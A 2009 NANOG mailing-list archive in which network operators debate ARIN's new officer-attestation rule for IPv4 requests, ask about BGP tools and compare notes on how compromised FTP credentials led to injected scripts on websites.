Officer: "Hell, request 10x as much space! I'll sign anything as long as we don't run out and have to spend money!" For me, I request all the allocations and I'm also an officer of the company so I'll just attest to my own stuff but I can see this would be a nightmare in a larger company. There was also an e-mail about outreach to the CEOs of all the companies with resources. At my company the CEO will hand it to me without even opening it. I assume that in many larger companies it "might" get glanced at by the CEO or CEOs secretary before it gets shredded. While I completely understand the reasons behind both initiatives I don't think they'll have the desired effect. Aaron -----Original Message----- From: Matthew Moyle-Croft [mailto:mmc at internode.com.au] Sent: Monday, April 20, 2009 9:56 PM To: Joe Greco Cc: nanog at nanog.org Subject: Re: Important New Requirement for IPv4 Requests ARIN should ask companies to demonstrate: - demonstration of routing of an IPv6 range/using IPv6 address space - demonstration of services being offered over IPv6 - a plan to migrate customers to IPv6 - automatic allocation of IPv6 range instead of IPv4 for those who can't do so. ie. No more IPv4 for you until you've shown IPv6 clue. Then people can't just get away with driving into the brick wall of IPv4-allocation fail. (Not sure if I'm serious about this suggestion, but it's there now). MMC On 21/04/2009, at 9:09 AM, Joe Greco wrote: > > Let me see if I can understand this. > > We're running out of IPv4 space. > > Knowing that blatant lying about IP space justifications has been an > ongoing game in the community, ARIN has decided to "do something" > about > it. > > So now they're going to require an attestation. Which means that they > are going to require an "officer" to "attest" to the validity of the > information. > > So the "officer," most likely not being a technical person, is going > to > contact ... probably the same people who made the request, ask them > if > they need the space. Right? > > And why would the answer be any different, now? > > ... JG > -- > Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net > "We call it the 'one bite at the apple' rule. Give me one chance > [and] then I > won't contact you again." - Direct Marketing Ass'n position on e- > mail spam(CNN) > With 24 million small businesses in the US alone, that's way too > many apples. > -- Matthew Moyle-Croft Networks, Internode/Agile Level 5, 162 Grenfell Street, Adelaide, SA 5000 Australia Email: mmc at internode.com.au Web: http://www.on.net Direct: +61-8-8228-2909 Mobile: +61-419-900-366 Reception: +61-8-8228-2999 Fax: +61-8-8235-6909 From jrhett at netconsonance.com Mon Apr 20 23:24:52 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Mon, 20 Apr 2009 21:24:52 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904202339.n3KNdleL042511@aurora.sol.net> References: <200904202339.n3KNdleL042511@aurora.sol.net> Message-ID: <3A255010-1C92-470A-BC03-7126D081FF5A@netconsonance.com> On Apr 20, 2009, at 4:39 PM, Joe Greco wrote: > So the "officer," most likely not being a technical person, is going > to > contact ... probably the same people who made the request, ask them > if > they need the space. Right? > > And why would the answer be any different, now? This is exactly identical to having the CEO signed the quarterly statements. You are saying this is Right. The CEO couldn't do that accounting him/herself -- but they're going to ask more questions and be more cautious before putting their name on it. I applaud this idea. I wish we had done it 10 years ago, but it's not too late to start. Before late than never. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From carl.ford at gmail.com Tue Apr 21 00:10:07 2009 From: carl.ford at gmail.com (Carl Ford) Date: Tue, 21 Apr 2009 01:10:07 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904202339.n3KNdleL042511@aurora.sol.net> References: <200904202339.n3KNdleL042511@aurora.sol.net> Message-ID: Same reason urgent action networks work for amnesty International. Because when someone thinks other people are watching, truth is revealed. Kind Regards, Carl On Mon, Apr 20, 2009 at 7:39 PM, Joe Greco wrote: > Forwarded message: > > Subject: Important New Requirement for IPv4 Requests > > From: ARIN Registration Services > > > > Hello, > > > > With the approaching depletion of the IPv4 address free pool, the > > ARIN Board of Trustees has directed ARIN staff to take additional > > steps to ensure the legitimacy of all IPv4 address space requests. > > Beginning 18 May 2009, ARIN will require that all applications for > > IPv4 address space include an attestation of accuracy from an officer > > of the organization. For more information on this requirement, please > > see: > > > > https://www.arin.net/resources/agreements/officer_attest.html > > > > Whenever a request for IPv4 resources is received, ARIN will ask in > > its initial reply for the name and contact information of an officer > > of the organization who will be able to attest to the validity of the > > information provided to ARIN. > > > > At the point a request is ready to be approved, ARIN will send a summary > > of the request (via e-mail) to the officer with a cc: to the requesting > > POC (Tech or Admin) and ask the officer to attest to the validity of the > > information provided to ARIN. The summary will provide a brief overview > > of the request and an explanation of the required attestation. ARIN will > > include the original request template and any other relevant information > > the requestor provided. Once ARIN receives the attestation from the > > officer, the request can be approved. Attestation may also be provided > > via fax or postal mail. > > > > For further assistance, contact ARIN's Registration Services Help Desk > > via e-mail to hostmaster at arin.net or telephone at +1.703.227.0660. > > Let me see if I can understand this. > > We're running out of IPv4 space. > > Knowing that blatant lying about IP space justifications has been an > ongoing game in the community, ARIN has decided to "do something" about > it. > > So now they're going to require an attestation. Which means that they > are going to require an "officer" to "attest" to the validity of the > information. > > So the "officer," most likely not being a technical person, is going to > contact ... probably the same people who made the request, ask them if > they need the space. Right? > > And why would the answer be any different, now? > > ... JG > -- > Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net > "We call it the 'one bite at the apple' rule. Give me one chance [and] then > I > won't contact you again." - Direct Marketing Ass'n position on e-mail > spam(CNN) > With 24 million small businesses in the US alone, that's way too many > apples. > > From rsk at gsp.org Tue Apr 21 05:03:43 2009 From: rsk at gsp.org (Rich Kulawiec) Date: Tue, 21 Apr 2009 06:03:43 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904202339.n3KNdleL042511@aurora.sol.net> References: <200904202339.n3KNdleL042511@aurora.sol.net> Message-ID: <20090421100343.GA32683@gsp.org> If the effort that will go into administering this went instead into reclaiming IPv4 space that's obviously hijacked and/or being used by abusive operations, we'd all benefit. ---Rsk From frnkblk at iname.com Tue Apr 21 05:49:04 2009 From: frnkblk at iname.com (Frank Bulk - iName.com) Date: Tue, 21 Apr 2009 05:49:04 -0500 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <3A255010-1C92-470A-BC03-7126D081FF5A@netconsonance.com> References: <200904202339.n3KNdleL042511@aurora.sol.net> <3A255010-1C92-470A-BC03-7126D081FF5A@netconsonance.com> Message-ID: There's a big difference between signing that the books are right (it matters!) and filling out paperwork for ARIN. The first is one of his primary duties as an officer of the company, the second won't even make his secretary's "to do" list. It appears that ARIN wants to raise the IP addressing space issue to the CxO level -- if it was interested in honesty, ARIN would have required a notarized statement by the person submitting the request. If ARIN really wants to get the interest of CEOs, raise the price! Frank -----Original Message----- From: Jo Rhett [mailto:jrhett at netconsonance.com] Sent: Monday, April 20, 2009 11:25 PM To: nanog at nanog.org Subject: Re: Important New Requirement for IPv4 Requests On Apr 20, 2009, at 4:39 PM, Joe Greco wrote: > So the "officer," most likely not being a technical person, is going > to > contact ... probably the same people who made the request, ask them > if > they need the space. Right? > > And why would the answer be any different, now? This is exactly identical to having the CEO signed the quarterly statements. You are saying this is Right. The CEO couldn't do that accounting him/herself -- but they're going to ask more questions and be more cautious before putting their name on it. I applaud this idea. I wish we had done it 10 years ago, but it's not too late to start. Before late than never. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From marquis at roble.com Tue Apr 21 10:19:22 2009 From: marquis at roble.com (Roger Marquis) Date: Tue, 21 Apr 2009 08:19:22 -0700 (PDT) Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: Message-ID: <20090421151922.1492A2B2201@mx5.roble.com> Rich Kulawiec wrote: > If the effort that will go into administering this went instead > into reclaiming IPv4 space that's obviously hijacked and/or being > used by abusive operations, we'd all benefit. But they can't do that without impacting revenue. In order to continue charging fees that are wholly out of proportion to their cost ARIN must: A) ignore all the unneeded legacy /16 allocations, even those owned by organizations with fewer than 300 employees (like net.com) who could easily get by with a /24 B) do nothing while IPv6 languishes due to the absence of a standard for one-to-many NAT and NAPT for v6 and v4/v6 C) periodically raise fees and implement minimal measures like requiring someone to sign a statement of need, so they can at least appear to have been proactive when the impacts of this artificial shortage really begin to impact communications Bottom line: it's about the money. Money and short-term self-interest, same as is causing havoc in other sectors of the economy. Nothing new here. IMO, Roger Marquis From owenc at hubris.net Tue Apr 21 10:19:44 2009 From: owenc at hubris.net (Chris Owen) Date: Tue, 21 Apr 2009 10:19:44 -0500 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: <200904202339.n3KNdleL042511@aurora.sol.net> <3A255010-1C92-470A-BC03-7126D081FF5A@netconsonance.com> Message-ID: <8F321623-80DE-44DC-80C9-958C2C069CE4@hubris.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Apr 21, 2009, at 5:49 AM, Frank Bulk - iName.com wrote: > It appears that ARIN wants to raise the IP addressing space issue to > the CxO > level -- if it was interested in honesty, ARIN would have required a > notarized statement by the person submitting the request. If ARIN > really > wants to get the interest of CEOs, raise the price! And punish those that do play by the rules? ARIN's prices are already crazy high for what they actually do. Chris - ------------------------------------------------------------------------------ Chris Owen - Garden City (620) 275-1900 - Lottery (noun): President - Wichita (316) 858-3000 - A stupidity tax Hubris Communications Inc www.hubris.net - ------------------------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) Comment: Public Key: http://home.hubris.net/owenc/pgpkey.txt Comment: Public Key ID: 0xB513D9DD iEYEARECAAYFAknt5BAACgkQElUlCLUT2d2fNACguc5HUFm7iutmdPPEMXVNpgJG UPsAmQFzuLQ5JdCOjWUALIvfIUZuLcPu =t813 -----END PGP SIGNATURE----- From irfan.zakiuddin at googlemail.com Tue Apr 21 10:30:18 2009 From: irfan.zakiuddin at googlemail.com (Irfan Zakiuddin) Date: Tue, 21 Apr 2009 16:30:18 +0100 Subject: tools for BGP Message-ID: <9ba19d20904210830l5d1e9a5cg70b424064b2dab75@mail.gmail.com> Hi, I am interested in commercial tools for managing BGP. I would be interested to hear which commercial tools BGP administrators recommend or like; and why they like them. I would be equally interested to learn which tools people don't like, and why. If people don't feel able to name tools, then I would still be grateful for a description of unhelpful features or an outline of why functionality is to limited. This should not require giving product names. Finally, I would be most interested if people think there are no commercial tools which are of much use. thanks in advance for your help. From drc at virtualized.org Tue Apr 21 10:36:17 2009 From: drc at virtualized.org (David Conrad) Date: Tue, 21 Apr 2009 08:36:17 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <18E4D2C5-118B-4D95-A76F-ADDAEEB2F737@internode.com.au> References: <200904202339.n3KNdleL042511@aurora.sol.net> <18E4D2C5-118B-4D95-A76F-ADDAEEB2F737@internode.com.au> Message-ID: <02069E94-ACC0-46EE-815A-51AF7DBBD6E6@virtualized.org> Oddly enough, someone proposed something very much along these lines at a couple of RIR meetings (see "IPv4 Soft Landing"), and in fact used the 'driving into a brick wall' analogy. Many of the folks who commented on that policy proposal felt it was inappropriate for RIRs to dictate business models (that is, if an ISP doesn't want to move to IPv6, it wouldn't be 'right' for an RIR to force them to). The proposer eventually gave up as the impedance mismatch between reality and the RIR policy making process became too great to observe without breaking into uncontrollable giggles. Regards, -drc On Apr 20, 2009, at 7:56 PM, Matthew Moyle-Croft wrote: > ARIN should ask companies to demonstrate: > > - demonstration of routing of an IPv6 range/using IPv6 address space > - demonstration of services being offered over IPv6 > - a plan to migrate customers to IPv6 > - automatic allocation of IPv6 range instead of IPv4 for those who > can't do so. > > ie. No more IPv4 for you until you've shown IPv6 clue. > > Then people can't just get away with driving into the brick wall of > IPv4-allocation fail. > > (Not sure if I'm serious about this suggestion, but it's there now). > > MMC > > > On 21/04/2009, at 9:09 AM, Joe Greco wrote: > > >> >> Let me see if I can understand this. >> >> We're running out of IPv4 space. >> >> Knowing that blatant lying about IP space justifications has been an >> ongoing game in the community, ARIN has decided to "do something" >> about >> it. >> >> So now they're going to require an attestation. Which means that >> they >> are going to require an "officer" to "attest" to the validity of the >> information. >> >> So the "officer," most likely not being a technical person, is >> going to >> contact ... probably the same people who made the request, ask >> them if >> they need the space. Right? >> >> And why would the answer be any different, now? >> >> ... JG >> -- >> Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net >> "We call it the 'one bite at the apple' rule. Give me one chance >> [and] then I >> won't contact you again." - Direct Marketing Ass'n position on e- >> mail spam(CNN) >> With 24 million small businesses in the US alone, that's way too >> many apples. >> > > -- > Matthew Moyle-Croft > Networks, Internode/Agile > Level 5, 162 Grenfell Street, Adelaide, SA 5000 Australia > Email: mmc at internode.com.au Web: http://www.on.net > Direct: +61-8-8228-2909 Mobile: +61-419-900-366 > Reception: +61-8-8228-2999 Fax: +61-8-8235-6909 > > From jcurran at istaff.org Tue Apr 21 10:48:08 2009 From: jcurran at istaff.org (John Curran) Date: Tue, 21 Apr 2009 11:48:08 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090421100343.GA32683@gsp.org> References: <200904202339.n3KNdleL042511@aurora.sol.net> <20090421100343.GA32683@gsp.org> Message-ID: On Apr 21, 2009, at 6:03 AM, Rich Kulawiec wrote: > > If the effort that will go into administering this went instead > into reclaiming IPv4 space that's obviously hijacked and/or being > used by abusive operations, we'd all benefit. Report such cases to ARIN: Thanks! /John John Curran Acting CEO ARIN From jcurran at istaff.org Tue Apr 21 11:01:26 2009 From: jcurran at istaff.org (John Curran) Date: Tue, 21 Apr 2009 12:01:26 -0400 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <20090421151922.1492A2B2201@mx5.roble.com> References: <20090421151922.1492A2B2201@mx5.roble.com> Message-ID: <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> On Apr 21, 2009, at 11:19 AM, Roger Marquis wrote: > > Rich Kulawiec wrote: >> If the effort that will go into administering this went instead >> into reclaiming IPv4 space that's obviously hijacked and/or being >> used by abusive operations, we'd all benefit. > > But they can't do that without impacting revenue. In order to > continue > charging fees that are wholly out of proportion to their cost ARIN > must: > > A) ignore all the unneeded legacy /16 allocations, even those owned > by > organizations with fewer than 300 employees (like net.com) who could > easily get by with a /24 > > B) do nothing while IPv6 languishes due to the absence of a > standard for > one-to-many NAT and NAPT for v6 and v4/v6 > > C) periodically raise fees and implement minimal measures like > requiring > someone to sign a statement of need, so they can at least appear to > have > been proactive when the impacts of this artificial shortage really > begin > to impact communications > > Bottom line: it's about the money. Money and short-term self- > interest, > same as is causing havoc in other sectors of the economy. Nothing new > here. Roger - A few nits: A) ARIN's not ignoring unneeded legacy allocations, but can't take action without the Internet community first making some policy on what action should be taken... Please get together with folks of similar mind either via PPML or via Public Policy meeting at the the Open Policy Bof, and then propose a policy accordingly. B) Technical standards for NAT & NAPT are the IETF's job, not ARIN's. C) We've routinely lowered fees since inception, not raised them. Thanks, /John John Curran Acting CEO ARIN From drc at virtualized.org Tue Apr 21 11:13:08 2009 From: drc at virtualized.org (David Conrad) Date: Tue, 21 Apr 2009 09:13:08 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090421151922.1492A2B2201@mx5.roble.com> References: <20090421151922.1492A2B2201@mx5.roble.com> Message-ID: <4D73D293-0CEF-40BF-A272-7E2815045344@virtualized.org> On Apr 21, 2009, at 8:19 AM, Roger Marquis wrote: > Rich Kulawiec wrote: >> If the effort that will go into administering this went instead >> into reclaiming IPv4 space that's obviously hijacked and/or being >> used by abusive operations, we'd all benefit. > But they can't do that without impacting revenue. Well, yes, in the sense that pretty much anything an RIR does would impact their revenue one way or another. > In order to continue > charging fees that are wholly out of proportion to their cost ARIN > must: > > A) ignore all the unneeded legacy /16 allocations, even those owned > by > organizations with fewer than 300 employees (like net.com) who could > easily get by with a /24 The term "legacy" here is relevant. Under what agreement would an RIR evaluate an allocation that occurred prior to the existence of the RIR? And when the folks who received legacy space and don't like this upstart RIR nosing around in their business, the legal fees that the RIR incur will cost non-trivial amounts of, well, money. > B) do nothing while IPv6 languishes due to the absence of a > standard for > one-to-many NAT and NAPT for v6 and v4/v6 So, you'd propose the RIRs become (more) involved in the IETF? But that would cost, you know, money. > C) periodically raise fees and implement minimal measures like > requiring > someone to sign a statement of need, so they can at least appear to > have > been proactive when the impacts of this artificial shortage really > begin > to impact communications "Artificial"? Heh. > Bottom line: it's about the money. Well yes, it is _always_ about the money. Regards, -drc From owenc at hubris.net Tue Apr 21 12:09:37 2009 From: owenc at hubris.net (Chris Owen) Date: Tue, 21 Apr 2009 12:09:37 -0500 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> Message-ID: <4835EB0C-6A52-4A69-8596-C4BB9D6C983E@hubris.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Apr 21, 2009, at 11:01 AM, John Curran wrote: > C) We've routinely lowered fees since inception, not raised them. Well I'm not sure what your definitely of "routinely" is, but we've not seen in decrease in our fees any time in the past 8 years. Chris - ------------------------------------------------------------------------------ Chris Owen - Garden City (620) 275-1900 - Lottery (noun): President - Wichita (316) 858-3000 - A stupidity tax Hubris Communications Inc www.hubris.net - ------------------------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) Comment: Public Key: http://home.hubris.net/owenc/pgpkey.txt Comment: Public Key ID: 0xB513D9DD iEYEARECAAYFAknt/dEACgkQElUlCLUT2d1gZgCfeMxGeY2sH2wEzjgqn+l6Ybnh E74An3shoRmt27XCTKUqYNbF8TriwAWG =SY6H -----END PGP SIGNATURE----- From marquis at roble.com Tue Apr 21 12:36:52 2009 From: marquis at roble.com (Roger Marquis) Date: Tue, 21 Apr 2009 10:36:52 -0700 (PDT) Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> Message-ID: <20090421173652.DFA302B2154@mx5.roble.com> John Curran wrote: > A) ARIN's not ignoring unneeded legacy allocations, but can't take > action without the Internet community first making some policy > on what action should be taken... Please get together with folks > of similar mind either via PPML or via Public Policy meeting at > the the Open Policy Bof, and then propose a policy accordingly. Thanks for the reply John, but PPML has not worked to-date. Too many legacy interests willing and able to veto any such attempt at a sustainable netblock return policy. Not sure how us folks, of a similar mind as it were, would be able to change that equation. IMO this change has to come from the top down. Towards that goal can you give us any hint as to how to effect that? > B) Technical standards for NAT & NAPT are the IETF's job, not ARIN's. Too true, but no reason ARIN could not be taking a more active role. This is after all, in ARIN's best interest, not the IETF's. > C) We've routinely lowered fees since inception, not raised them. Not raised since they were raised, granted. Not raised for large unnecessary allocations either. Is that the job of the PPML as well? What telecommunications consumers need here is leadership and direction. What we see is, well, not what we are looking for. Roger Marquis From marquis at roble.com Tue Apr 21 12:45:35 2009 From: marquis at roble.com (Roger Marquis) Date: Tue, 21 Apr 2009 10:45:35 -0700 (PDT) Subject: Important New Requirement for IPv4 Requests In-Reply-To: <4D73D293-0CEF-40BF-A272-7E2815045344@virtualized.org> References: <20090421151922.1492A2B2201@mx5.roble.com> <4D73D293-0CEF-40BF-A272-7E2815045344@virtualized.org> Message-ID: <20090421174535.2CD832B21F6@mx5.roble.com> David Conrad wrote: > The term "legacy" here is relevant. Under what agreement would an RIR > evaluate an allocation that occurred prior to the existence of the RIR? And > when the folks who received legacy space and don't like this upstart RIR > nosing around in their business, the legal fees that the RIR incur will cost > non-trivial amounts of, well, money. Good points all. I fully admit to ignorance of how to remedy this and the other valid points raised in defence of the status quo (except by raising the issue when appropriate). Not sure what could be cited as presidence either, except perhaps the transition from feudal landowning aristocracies a few centuries back. Roger Marquis From chasjs at warp8.com Tue Apr 21 12:51:16 2009 From: chasjs at warp8.com (Chuck Schick) Date: Tue, 21 Apr 2009 11:51:16 -0600 Subject: Malicious code just found on web server In-Reply-To: <49ECAF8D.6020909@rockynet.com> Message-ID: <200904211151354.SM03436@laptop03> We have seen this twice recently....we have tracked it back to a worm which steals unencrypted ftp information from a desktop. We tracked it down because it occured on 7 or 8 sites that were on different servers both Linux and Windows...some had no database associated with them. The only common thing on these sites was they all had the same web developer, she confirmed she was using filezilla which does not encrypt the passwords she also confirmed that she had found a virus/worm on her machine a few weeks before. The same thing was found on other websites that she maintained that we did not host. FTP logs confirmed that a bot was making the changes through FTP. The bot seems to inject a java script and IFrame in all pages that are named index.* - it changed HTML, php and asp extensions. Chuck Schick Warp 8, Inc. (303)-421-5140 www.warp8.com -----Original Message----- From: Mike Lewinski [mailto:mike at rockynet.com] Sent: Monday, April 20, 2009 11:23 AM To: nanog at nanog.org Subject: Re: Malicious code just found on web server Paul Ferguson wrote: > Most likely SQL injection. At any given time, there are hundreds of > thousands of "legitimate" websites out there that are unwittingly > harboring malicious code. Most of the MS-SQL injection attacks we see write malicious javascript into the DB itself so all query results include it. However, I'm not sure how easy it is to leverage to get system access - we've seen a number of compromised customer machines and there didn't appear to be any further compromise of them beyond the obvious. In the OP's case it sounds like static HTML files were altered. My bet is that an ftp or ssh account was brute forced. Mike From streiner at cluebyfour.org Tue Apr 21 12:56:36 2009 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Tue, 21 Apr 2009 13:56:36 -0400 (EDT) Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090421174535.2CD832B21F6@mx5.roble.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4D73D293-0CEF-40BF-A272-7E2815045344@virtualized.org> <20090421174535.2CD832B21F6@mx5.roble.com> Message-ID: On Tue, 21 Apr 2009, Roger Marquis wrote: > Not sure what could be cited as presidence either, except perhaps the > transition from feudal landowning aristocracies a few centuries back. Except they weren't pushing to transition people to LANDv6, just fighting to determine who held control of the existing LANDv4 and its resources :) Not that dissimilar from what we're going through today... jms From ali.khurram at unitedgroupltd.com Tue Apr 21 13:00:12 2009 From: ali.khurram at unitedgroupltd.com (ali.khurram at unitedgroupltd.com) Date: Wed, 22 Apr 2009 04:00:12 +1000 Subject: CN=Ali Khurram/O=KFPW is out of the office. Message-ID: I will be out of the office starting 30/03/2009 and will not return until 26/04/2009. UNITED GROUP This email message is the property of United Group. The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you are not the intended recipient, you may not disclose, copy or distribute this email, nor take or omit to take any action in reliance on it. United Group accepts no liability for any damage caused by this email or any attachments due to viruses, interference, interception, corruption or unauthorised access. If you have received this email in error, please notify United Group immediately by email to the sender's email address and delete this document. From owen at delong.com Tue Apr 21 12:57:40 2009 From: owen at delong.com (Owen DeLong) Date: Tue, 21 Apr 2009 10:57:40 -0700 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <20090421173652.DFA302B2154@mx5.roble.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <20090421173652.DFA302B2154@mx5.roble.com> Message-ID: On Apr 21, 2009, at 10:36 AM, Roger Marquis wrote: > John Curran wrote: >> A) ARIN's not ignoring unneeded legacy allocations, but can't take >> action without the Internet community first making some policy >> on what action should be taken... Please get together with folks >> of similar mind either via PPML or via Public Policy meeting at >> the the Open Policy Bof, and then propose a policy accordingly. > > Thanks for the reply John, but PPML has not worked to-date. Too many > legacy interests willing and able to veto any such attempt at a > sustainable > netblock return policy. Not sure how us folks, of a similar mind as > it > were, would be able to change that equation. IMO this change has to > come > from the top down. Towards that goal can you give us any hint as to > how to > effect that? > At this point, the community consists of far more non-legacy holders than legacy holders. Additionally, nobody has "VETO" power other than the ARIN Board as a body in the policy development process. As such, I don't think that your argument quite fits the situation. If folks of a similar mind are able to put a policy proposal together and submit it to policy at arin.net (there's a template on the ARIN web site), it will receive the same treatment as any other policy proposal. How the community as a whole reacts to the proposal is another matter, but, if a substantial majority of the community feels the policy proposal is a good one, then, it should be possible to obtain consensus. If that's not the case, then, I'm not sure how you can justify implementing such a policy contrary to the consensus of the community. I hope there is no way to effect a top-down policy within ARIN since we work very hard to maintain a bottom up policy process. If there is, then, something is very broken. Owen -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2105 bytes Desc: not available URL: From surfer at mauigateway.com Tue Apr 21 14:10:46 2009 From: surfer at mauigateway.com (Scott Weeks) Date: Tue, 21 Apr 2009 12:10:46 -0700 Subject: tools for BGP Message-ID: <20090421121046.8D653220@resin11.mta.everyone.net> --- irfan.zakiuddin at googlemail.com wrote: From: Irfan Zakiuddin I am interested in commercial tools for managing BGP. -------------------------------------------------- Have you looked at the NANOG mailing list and meeting archives yet? If not, you should do so. There is a lot of info there. scott From oberman at es.net Tue Apr 21 14:38:26 2009 From: oberman at es.net (Kevin Oberman) Date: Tue, 21 Apr 2009 12:38:26 -0700 Subject: Malicious code just found on web server In-Reply-To: Your message of "Mon, 20 Apr 2009 10:52:57 PDT." <6cd462c00904201052q1f352e25h1aed3e2aa97c0f00@mail.gmail.com> Message-ID: <20090421193826.0FA3F1CC50@ptavv.es.net> > Date: Mon, 20 Apr 2009 10:52:57 -0700 > From: Paul Ferguson > > On Mon, Apr 20, 2009 at 10:40 AM, Nick Chapman > wrote: > > > On Mon, Apr 20, 2009 at 12:47 PM, Neil wrote: > > >> > >> But if you figure out how they got write access to a static website, I'd > >> love to hear it. > > > > > > Compromised FTP credentials would be my guess. They can be obtained > > by brute force attacks or credential stealing trojans. > > > > Yeah, it could have been any number of ways -- there has also been a huge > increase of SSH brute-force attacks in the past few weeks: > > https://isc.sans.org/diary.html?storyid=6214 And, from several reports (including my own), they (brute force ssh attacks) seem to have stopped at about 22:30 UTC on the 19th. (Not that this is really relevant to the thread.) -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From lowen at pari.edu Tue Apr 21 15:21:22 2009 From: lowen at pari.edu (Lamar Owen) Date: Tue, 21 Apr 2009 16:21:22 -0400 Subject: IXP In-Reply-To: <20090420225701.GK9502@burnout.tpb.net> References: <49E8D1E5.1070004@nipper.de> Message-ID: <200904211621.22914.lowen@pari.edu> On Monday 20 April 2009 18:57:01 Niels Bakker wrote: > Ethernet has no administrative boundaries that can be delineated. > Spanning one broadcast domain across multiple operators is therefore > a recipe for disaster. Isn't this the problem that NBMA networks like ATM were built for? > Cheap, fast, secure. It is obvious which two Ethernet chose. And which two ATM chose. Although secondhand ATM gear is coming down in price.... ATM has its own issues, but the broadcast layer 2 problem isn't one of them. Seems to me Ethernet layer 2 stuff is just trying today to do what ATM gear did ten years ago. Faster, of course, but still much the same. But, again, too bad ATM was just too expensive, and too different, and Gigabit Ethernet just too easy (at the time). From jfbeam at gmail.com Tue Apr 21 15:44:34 2009 From: jfbeam at gmail.com (Ricky Beam) Date: Tue, 21 Apr 2009 16:44:34 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904202339.n3KNdleL042511@aurora.sol.net> References: <200904202339.n3KNdleL042511@aurora.sol.net> Message-ID: On Mon, 20 Apr 2009 19:39:47 -0400, Joe Greco wrote: > Knowing that blatant lying about IP space justifications has been an > ongoing game in the community, ARIN has decided to "do something" about > it. ... That game has been going on for over a decade. I've seen it first hand as far back as '96. I've even seen multiple address allocations using the *exact* same email -- once or twice a year, not like they were 4 requests on the same day; they had been using that same "form email" for *YEARS* -- "(me) And they fall for it? (coworker) Every time." As you point out, this will have zero effect. The COO ("officer") will either be clueless as to the fine details of the operation and rely on the information ("lies") from his managers and techies. Or, he's the one telling them to lie in the first place. From Jay.Murphy at state.nm.us Tue Apr 21 15:52:58 2009 From: Jay.Murphy at state.nm.us (Murphy, Jay, DOH) Date: Tue, 21 Apr 2009 14:52:58 -0600 Subject: tools for BGP In-Reply-To: <9ba19d20904210830l5d1e9a5cg70b424064b2dab75@mail.gmail.com> References: <9ba19d20904210830l5d1e9a5cg70b424064b2dab75@mail.gmail.com> Message-ID: BGP BGPlay a web based service, freely available to the community since 2004, which allows graphical inspection of interdomain routing evolution using public BGP data collected by www.routeviews.org and by www.ris.ripe.net. BGPmon can monitor your prefixes and alert you in case of a 'interesting' path change. Recently this has received quite some attention. Specifically after the Youtube hijack and the demo given at defcon. iBGPlay based on the same visualization technology of BGPlay it is designed to inspect the interdomain routing evolution using private BGP data collected from ISP's routers. iBGPlay can show the outgoing traffic paths for all internet destinations and is especially suited for content providers. Subscription to iBGPlay is free. LinkRank BGP dynamics visualization tool "LinkRank" also presented at Nanog 32 at Reston, VA (http://www.nanog.org/mtg-0410/lad.html). FDBGet This little gadget will try to retrieve the forwarding table entries (Mac to interface number) of switches (layer 2 devices). This comes in handy when you want to know to which interface of a switch a particular NIC (e.g. computer) is attached to. Now suppports parameters for command line use. Dig Netdisco is an Open Source web-based network management tool. Designed for moderate to large networks, configuration information and connection data for network devices are retrieved by SNMP. With Netdisco you can locate the switch port of an end-user system by IP or MAC address. Data is stored using a SQL database for scalability and speed. It also provide optional use of the Cisco Discovery Protocol (CDP). D-ITG (Distributed Internet Traffic Generator) is a platform (collection of tools) capable of producing traffic (network, transport and application layer) and of accurately replicating appropriate stochastic processes for both IDT (Inter Departure Time) and PS (Packet Size) random variables (exponential, uniform, cauchy, normal, pareto, ...). Dummmynet A FreeBSD system for emulating the effects of bandwidth limitations, propagation delays, bounded-size queues, and packet losses. Jay Murphy IP Network Specialist "We move the information that moves your world." -----Original Message----- From: Irfan Zakiuddin [mailto:irfan.zakiuddin at googlemail.com] Sent: Tuesday, April 21, 2009 9:30 AM To: nanog at nanog.org Subject: tools for BGP Hi, I am interested in commercial tools for managing BGP. I would be interested to hear which commercial tools BGP administrators recommend or like; and why they like them. I would be equally interested to learn which tools people don't like, and why. If people don't feel able to name tools, then I would still be grateful for a description of unhelpful features or an outline of why functionality is to limited. This should not require giving product names. 